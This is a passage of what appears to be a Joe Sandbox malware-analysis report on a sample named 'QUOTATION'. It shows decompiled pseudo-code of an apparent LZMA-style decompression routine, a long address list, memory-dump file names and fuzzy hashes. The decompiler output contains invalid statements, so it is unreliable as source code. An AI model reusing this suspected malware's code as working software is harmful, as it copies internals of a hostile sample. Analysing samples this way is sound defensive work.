							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004069b2
0x004069b2
0x004069b6
0x00406a6d
0x00406a70
0x00406a7c
0x0040695d
0x0040695d
0x00406960
0x00406cd2
0x00406cd2
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00406d48
0x00406d48
0x00406d4e
0x00406d4e
0x00000000
0x00406d23
0x00406d23
0x00406d27
0x00406ed6
0x00000000
0x00406ed6
0x00406d33
0x00406d3a
0x00406d42
0x00406d45
0x00000000
0x00406d45
0x004069bc
0x004069c0
0x00406f01
0x00406f01
0x00406f04
0x00406f08
0x00406f08
0x004069c6
0x004069cc
0x004069cf
0x004069d3
0x004069d6
0x004069da
0x00406ea0
0x00406eec
0x00406ef4
0x00406efb
0x00406efd
0x00000000
0x00406efd
0x004069e0
0x004069e3
0x004069e9
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0f
0x00406a11
0x00406a11
0x00406a14
0x00406a14
0x00406a14
0x004064ea
0x004064ea
0x004064f3
0x00000000
0x00000000
0x004064f9
0x00000000
0x00406504
0x00000000
0x00000000
0x0040650d
0x00406510
0x00406513
0x00406517
0x00000000
0x00000000
0x0040651d
0x00406520
0x00406522
0x00406523
0x00406526
0x00406528
0x00406529
0x0040652b
0x0040652e
0x00406533
0x00406538
0x00406541
0x00406554
0x00406557
0x00406563
0x0040658b
0x0040658d
0x0040659b
0x0040659b
0x0040659f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040658f
0x0040658f
0x00406592
0x00406593
0x00406593
0x00000000
0x0040658f
0x00406569
0x0040656e
0x0040656e
0x00406577
0x0040657f
0x00406582
0x00000000
0x00406588
0x00406588
0x00000000
0x00406588
0x00000000
0x004065a5
0x004065a5
0x004065a9
0x00406e55
0x00000000
0x00406e55
0x004065b2
0x004065c2
0x004065c5
0x004065c8
0x004065c8
0x004065c8
0x004065cb
0x004065cf
0x00000000
0x00000000
0x004065d1
0x004065d7
0x00406601
0x00406607
0x0040660e
0x00000000
0x0040660e
0x004065dd
0x004065e0
0x004065e5
0x004065e5
0x004065f0
0x004065f8
0x004065fb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406640
0x00406646
0x00406649
0x00406656
0x0040665e
0x00000000
0x00000000
0x00406615
0x00406615
0x00406619
0x00406e64
0x00000000
0x00406e64
0x00406625
0x00406630
0x00406630
0x00406630
0x00406633
0x00406636
0x00406639
0x0040663e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406666
0x00406668
0x0040666b
0x004066dc
0x004066df
0x004066e2
0x004066e9
0x004066f3
0x00000000
0x004066f3
0x0040666d
0x00406671
0x00406674
0x00406676
0x00406679
0x0040667c
0x0040667e
0x00406681
0x00406683
0x00406688
0x0040668b
0x0040668e
0x00406692
0x00406699
0x0040669c
0x004066a3
0x004066a7
0x004066af
0x004066af
0x004066af
0x004066a9
0x004066a9
0x004066a9
0x0040669e
0x0040669e
0x0040669e
0x004066b3
0x004066b6
0x004066d4
0x004066d6
0x00000000
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c3
0x004066c3
0x004066c3
0x004066c6
0x004066c9
0x004066cb
0x004066cc
0x004066cf
0x00000000
0x004066cf
0x00000000
0x00406905
0x00406909
0x00406927
0x0040692a
0x00406931
0x00406934
0x00406937
0x0040693a
0x0040693d
0x00406940
0x00406942
0x00406949
0x0040694a
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406955
0x0040695a
0x00000000
0x0040695a
0x0040690b
0x0040690e
0x00406911
0x0040691b
0x00000000
0x00000000
0x0040696f
0x00406973
0x00406996
0x00406999
0x0040699c
0x004069a6
0x00406975
0x00406975
0x00406978
0x0040697b
0x0040697e
0x0040698b
0x0040698e
0x0040698e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a23
0x00406a27
0x00406a2e
0x00406a31
0x00406a34
0x00406a3e
0x00000000
0x00406a3e
0x00406a29
0x00000000
0x00000000
0x00406a4a
0x00406a4e
0x00406a55
0x00406a58
0x00406a5b
0x00406a50
0x00406a50
0x00406a50
0x00406a5e
0x00406a61
0x00406a64
0x00406a64
0x00406a67
0x00406a6a
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00406eac
0x00000000
0x00406eac
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b21
0x00406b27
0x00406b29
0x00406b29
0x00406b29
0x00406b2c
0x00406b2f
0x00000000
0x00000000
0x004066ff
0x004066ff
0x00406703
0x00406e70
0x00000000
0x00406e70
0x00406709
0x0040670c
0x0040670f
0x00406713
0x00406716
0x0040671c
0x0040671e
0x0040671e
0x0040671e
0x00406721
0x00406724
0x00406724
0x00406727
0x0040672a
0x00000000
0x00000000
0x00406730
0x00406736
0x00000000
0x00000000
0x0040673c
0x0040673c
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x0040674d
0x00406750
0x00406752
0x00406758
0x0040675b
0x0040675e
0x00406761
0x00406764
0x00406767
0x0040676a
0x00406786
0x00406789
0x0040678c
0x0040678f
0x00406796
0x0040679a
0x0040679c
0x004067a0
0x0040676c
0x0040676c
0x00406770
0x00406778
0x0040677d
0x0040677f
0x00406781
0x00406781
0x004067a3
0x004067aa
0x004067ad
0x00000000
0x004067b3
0x00000000
0x004067b3
0x00000000
0x004067b8
0x004067b8
0x004067bc
0x00406e7c
0x00000000
0x00406e7c
0x004067c2
0x004067c5
0x004067c8
0x004067cc
0x004067cf
0x004067d5
0x004067d7
0x004067d7
0x004067d7
0x004067da
0x004067dd
0x004067dd
0x004067dd
0x004067e3
0x00000000
0x00000000
0x004067e5
0x004067e8
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406800
0x00406803
0x0040681b
0x0040681e
0x00406821
0x00406824
0x00406824
0x00406827
0x0040682b
0x0040682d
0x00406805
0x00406805
0x0040680d
0x00406812
0x00406814
0x00406816
0x00406816
0x00406830
0x00406837
0x0040683a
0x00000000
0x0040683c
0x00000000
0x0040683c
0x0040683a
0x00406841
0x00406841
0x00406841
0x00406841
0x00000000
0x00000000
0x0040687c
0x0040687c
0x00406880
0x00406e88
0x00000000
0x00406e88
0x00406886
0x00406889
0x0040688c
0x00406890
0x00406893
0x00406899
0x0040689b
0x0040689b
0x0040689b
0x0040689e
0x004068a1
0x004068a1
0x004068a7
0x00406845
0x00406845
0x00406848
0x00000000
0x00406848
0x004068a9
0x004068a9
0x004068ac
0x004068af
0x004068b2
0x004068b5
0x004068b8
0x004068bb
0x004068be
0x004068c1
0x004068c4
0x004068c7
0x004068df
0x004068e2
0x004068e5
0x004068e8
0x004068e8
0x004068eb
0x004068ef
0x004068f1
0x004068c9
0x004068c9
0x004068d1
0x004068d6
0x004068d8
0x004068da
0x004068da
0x004068f4
0x004068fb
0x004068fe
0x00000000
0x00406900
0x00000000
0x00406900
0x00000000
0x00406b8d
0x00406b8d
0x00406b91
0x00406eb8
0x00000000
0x00406eb8
0x00406b97
0x00406b9a
0x00406b9d
0x00406ba1
0x00406ba4
0x00406baa
0x00406bac
0x00406bac
0x00406bac
0x00406baf
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c9c
0x00406ca0
0x00406cc2
0x00406cc5
0x00406ccf
0x00000000
0x00406ccf
0x00406ca2
0x00406ca5
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00000000
0x00000000
0x00406d59
0x00406d5d
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d82
0x00406d89
0x00406d90
0x00406d90
0x00000000
0x00406d90
0x00406d5f
0x00406d62
0x00406d65
0x00406d68
0x00406d6f
0x00406cb3
0x00406cb3
0x00406cb6
0x00000000
0x00000000
0x00406e4a
0x00406e4d
0x00000000
0x00000000
0x00406a84
0x00406a86
0x00406a8d
0x00406a8e
0x00406a90
0x00406a93
0x00000000
0x00000000
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aa6
0x00406aa9
0x00406ab0
0x00406ab3
0x00406ac1
0x00000000
0x00000000
0x00406d97
0x00406d97
0x00406d9a
0x00406da1
0x00000000
0x00000000
0x00406da6
0x00406da6
0x00406daa
0x00406ee2
0x00000000
0x00406ee2
0x00406db0
0x00406db3
0x00406db6
0x00406dba
0x00406dbd
0x00406dc3
0x00406dc5
0x00406dc5
0x00406dc5
0x00406dc8
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dce
0x00406dce
0x00406dd2
0x00406e32
0x00406e35
0x00406e3a
0x00406e3b
0x00406e3d
0x00406e3f
0x00406e42
0x00000000
0x00406e42
0x00406dd4
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406e0e
0x00406e11
0x00406e14
0x00406e17
0x00406e1b
0x00406e1d
0x00406e1d
0x00406e1e
0x00406e21
0x00406df7
0x00406df7
0x00406dff
0x00406e04
0x00406e06
0x00406e09
0x00406e09
0x00406e24
0x00406e2b
0x00000000
0x00406e2d
0x00000000
0x00406e2d
0x00000000
0x00406ac9
0x00406acc
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x0040684b
0x0040684b
0x0040684f
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00000000
0x00406c97
0x00406c95
0x00406eca
0x00000000
0x00000000
0x004064f9

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a29bcf112b88c1b93ae01eb1cff818f8e5d0edf1da40eda35da1d05f3be857d
Instruction ID: f9b0e14a80994b8e3cce9b061f2e265d206a391058c15f1564a8a9ac8da356b6
Opcode Fuzzy Hash: 1a29bcf112b88c1b93ae01eb1cff818f8e5d0edf1da40eda35da1d05f3be857d
Instruction Fuzzy Hash: 80814571D04229DFDF24CFA8C8847ADBBB1FB44305F25816AD816BB281C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004064B7 Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004064B7(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00406F09))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8); // executed
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
